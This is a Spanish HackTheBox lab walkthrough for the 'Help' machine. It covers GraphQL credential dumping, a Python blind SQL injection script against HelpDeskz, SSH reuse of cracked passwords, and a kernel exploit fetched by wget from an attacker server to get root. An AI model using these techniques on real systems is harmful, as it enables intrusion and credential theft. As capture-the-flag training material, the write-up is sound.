Post

HackTheBox - Help

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: SQL Injection, Graphql, Kernel Exploitation

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos en la Máquina Help

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos.

  • nmap -p<Ports> -sCV <IP> -oN versiones

    Vemos que si vamos colocamos la IP de la Máquina Help en el navegador nos redirige a http://help.htb, por lo cual lo colocamos en el archivo /etc/hosts.

c. Encontramos lo siguiente en http://help.htb

  • Enumeramos por posibles directorios

    1
    2
    3
    
    wfuzz -c -t 80 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt http://help.htb/FUZZ/ 
      
    000000055:   200        96 L     236 W      4413 Ch     "support"
    
  • Al visitar /support notamos que se usa HelpDeskz, si bucamos vulnerabilidades nos encontramos con una SQLi (Authenticated), por lo cual necesitamos de credenciales válidas.

d. Enumeramos el servicio que se ejecuta por el puerto 3000 (Debemos usar varios diccionarios)

1
2
3
wfuzz -c -t 80 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/big.txt http://<IP>:3000 

000020476:   400        0 L      3 W        18 Ch       "graphql" 

Grapql Exploitation 🍇

  • El servicio de graphql puede ser explotable HackTricks

    1. Enviamos una petición por POST para enumerar el servicio

      1
      
       curl -s -X POST "http://<IP>:3000/graphql" -H "Content-Type: application/json" -d 'PAYLOAD' \| jq
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      
       <SNIP>
       "name": "User",
       "fields": [
         {
           "name": "username"
         },
         {
           "name": "password"
         }
       ]
       <SNIP>
      
    2. Ahora, podemos enviar una solicitud para obtener el esquema de graphql y poder representarlo gráficamente en Graphql-Voyager

      • En navegador:

        1
        
        http://<IP>:3000/graphql?query=fragment%...[PAYLOAD EN HACKTRICKS]...
        
      • El output del navegador lo pegamos en Graphql-Voyager y podremos ver de mejor forma la “base de datos”

        Representación de Graphql

      • Ahora, realizamos una consulta para obtener los datos, en base al esquema anterior

        1
        2
        3
        
        curl -s -X POST "http://<IP>:3000/graphql" -H "Content-Type: application/json" -d '{"query":"{user{username,password}}"}'
        
        {"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}
        
    3. La contraseña está cifrada con MD5, usamos dcode 5d3c93182bb20f07b994a7f617e99cff y la veremos en texto plano godhelpmeplz

      • Ahora, nos podemos autenticar en el servicio http://help.htb/support y podemos explotar la vulnerabilidad SQLi

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        
         import requests
         import string
         from pwn import *
        
         url_main = "http://help.htb"
         characteres = string.ascii_letters + string.digits + ',.+@_ :'
        
         headers = {"Cookie": "<Cookie>"}
         bar_1 = log.progress("Brute Force")
         bar_1.status("Starting Brute Force...")
         bar_2 = log.progress("Data")
         database_name=""
        
         for position in range(1,200):
           for character in characteres:
             sqli_url = f"/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=7 and substr((select group_concat(username,':', password) from staff),{position},1) = '{character}'-- -"
             bar_1.status(sqli_url)
             r = requests.get(url_main+sqli_url, cookies=headers)
             if ("Page not found" not in r.text):
               database_name+=character
               bar_2.status(database_name)
               break
        
        1
        2
        3
        4
        
        [q] Databases Name: information_schema,mysql,performance_schema,support
        [-] Tables 'support': articles,attachments,canned_response,custom_fields,departments,emails,error_log,file_types,knowledgebase_category,login_attempt,login_log,news,pages,priority,settings,staff,tickets,tickets_messages,...
        [l] Columns: id,username,password,fullname,email,login,last_login,department,timezone,signature,newticket_notification,avatar,admin,status
        [k] username, password: admin:d318f44739dced66793b1a603028133a76ae680e (SHA1) -> Welcome1
        
    4. Al autenticarnos en el servicio HelpDeskz conseguimos un nombre de usuario

    1. Al ir testeando con algunos nombres de usuarios que contengan helpme damos con help para autenticarnos en el servicio ssh
    1
    2
    3
    
      ssh help@<IP>
      Password: Welcome1
      help@help:~$
    

Escalada de Privilegios 💹

a. El sistema es vulnerable a un kernel exploit Exploit

1
2
help@help:~/help$ uname -a           
Linux help 4.4.0-116-generic #140-Ubuntu

b. Lo descargamos en nuestra Máquina Atacante para tranferirlo a la Máquina Víctima

  • Máquina Atacante: python -m http.server 8000
  • Máquina Víctima: **wget :8000/exploit.c -o-** -> **gcc exploit.c -o backup**

c. Una vez ejecutamos el archivo backup tenemos acceso como root y podemos leer las flags

1
2
3
4
5
6
7
8
9
10
help@help:~/help$ ./backup 
task_struct = ffff880038906a40
uidptr = ffff88003619a6c4
spawning root shell
root@help:~/help# whoami
root
root@help:~/help# find / -name root.txt 2>/dev/null | xargs cat
f68cb05096d8f2a4bb36f975435c582a
root@help:~/help# find / -name user.txt 2>/dev/null | xargs cat
401375d4050453ea5583cd902da8104a
This post is licensed under CC BY 4.0 by the author.